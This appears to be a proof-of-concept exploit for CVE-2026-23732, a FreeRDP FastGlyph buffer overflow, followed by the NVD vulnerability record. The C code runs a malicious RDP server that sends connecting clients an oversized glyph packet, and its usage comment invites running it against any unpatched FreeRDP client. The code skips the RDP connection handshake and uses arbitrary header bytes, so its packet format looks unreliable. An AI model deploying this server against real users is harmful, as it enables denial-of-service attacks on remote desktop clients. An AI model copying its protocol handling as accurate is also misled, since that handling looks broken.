CVE-2026-23732

// PoC for CVE-2026-23732 - FreeRDP FastGlyph Buffer Overflow // This is a malicious RDP server that sends crafted FastGlyph data #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winsock2.h> #include <ws2tcpip.h> #pragma comment(lib, "ws2_32.lib") #define RDP_PORT 3389 // Malicious FastGlyph packet structure typedef struct { uint8_t flags; uint16_t cbData; // Declared data size - attacker controlled uint16_t cx; // Glyph width uint16_t cy; // Glyph height uint8_t* data; // Malicious data } MaliciousFastGlyph; // Craft a FastGlyph packet with overflow condition void craft_malicious_fastglyph(MaliciousFastGlyph* glyph) { // Set small glyph dimensions glyph->cx = 8; // Small width glyph->cy = 8; // Small height // But declare large cbData - triggers buffer overflow // Required size for 8x8 glyph = 8 * 8 = 64 bytes // But we declare much more glyph->cbData = 1024; // 16x the actual required size // Allocate malicious data glyph->data = (uint8_t*)malloc(glyph->cbData); memset(glyph->data, 0x41, glyph->cbData); // Fill with 'A' } // Send malicious RDP response void send_malicious_rdp_response(SOCKET client_socket) { MaliciousFastGlyph glyph; craft_malicious_fastglyph(&glyph); // Build RDP FastPath packet with malicious FastGlyph uint8_t packet[2048]; memset(packet, 0, sizeof(packet)); // FastPath header packet[0] = 0x30; // FastPath packet type packet[1] = 0x03; // Encryption flags // FastGlyph structure int offset = 2; packet[offset++] = glyph.flags; packet[offset++] = (glyph.cbData) & 0xFF; packet[offset++] = (glyph.cbData >> 8) & 0xFF; packet[offset++] = (glyph.cx) & 0xFF; packet[offset++] = (glyph.cx >> 8) & 0xFF; packet[offset++] = (glyph.cy) & 0xFF; packet[offset++] = (glyph.cy >> 8) & 0xFF; // Copy malicious glyph data memcpy(&packet[offset], glyph.data, glyph.cbData); // Send packet send(client_socket, (const char*)packet, offset + glyph.cbData, 0); free(glyph.data); } int main() { WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); SOCKET server_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); struct sockaddr_in server_addr; server_addr.sin_family = AF_INET; server_addr.sin_port = htons(RDP_PORT); server_addr.sin_addr.s_addr = INADDR_ANY; bind(server_socket, (struct sockaddr*)&server_addr, sizeof(server_addr)); listen(server_socket, 1); printf("Malicious RDP Server for CVE-2026-23732\n"); printf("Listening on port %d...\n", RDP_PORT); while (1) { SOCKET client_socket = accept(server_socket, NULL, NULL); printf("Client connected, sending malicious payload...\n"); send_malicious_rdp_response(client_socket); closesocket(client_socket); } closesocket(server_socket); WSACleanup(); return 0; } // Usage: Run this server and connect any FreeRDP client < 3.21.0

{"cve": {"id": "CVE-2026-23732", "sourceIdentifier": "[email protected]", "published": "2026-01-19T18:16:05.867", "lastModified": "2026-01-28T18:38:37.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to version 3.21.0, FastGlyph parsing trusts `cbData`/remaining length and never validates against the minimum size implied by `cx/cy`. A malicious server can trigger a client‑side global buffer overflow, causing a crash (DoS). Version 3.21.0 contains a patch for the issue."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de la versión 3.21.0, el análisis de FastGlyph confía en 'cbData'/la longitud restante y nunca valida contra el tamaño mínimo implícito por 'cx/cy'. Un servidor malicioso puede desencadenar un desbordamiento de búfer global del lado del cliente, causando un fallo (DoS). La versión 3.21.0 contiene un parche para el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.21.0", "matchCriteriaId": "E6899265-905F-4A3A-96D3-07B552FBFBEC"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/blob/f96ee2a6dd02739325c2a4e36a14978b561f00ea/libfreerdp/cache/glyph.c#L463-L480", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreeRDP/FreeRDP/blob/f96ee2a6dd02739325c2a4e36a14978b561f00ea/libfreerdp/codec/color.c#L261-L277", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreeRDP/FreeRDP/blob/f96ee2a6dd02739325c2a4e36a14978b561f00ea/libfreerdp/core/graphics.c#L138", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreeRDP/FreeRDP/blob/f96ee2a6dd02739325c2a4e36a14978b561f00ea/libfreerdp/core/orders.c#L2186C17-L2199", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FreeRDP/FreeRDP/releases/tag/3.21.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-7qxp-j2fj-c3pp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-7qxp-j2fj-c3pp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}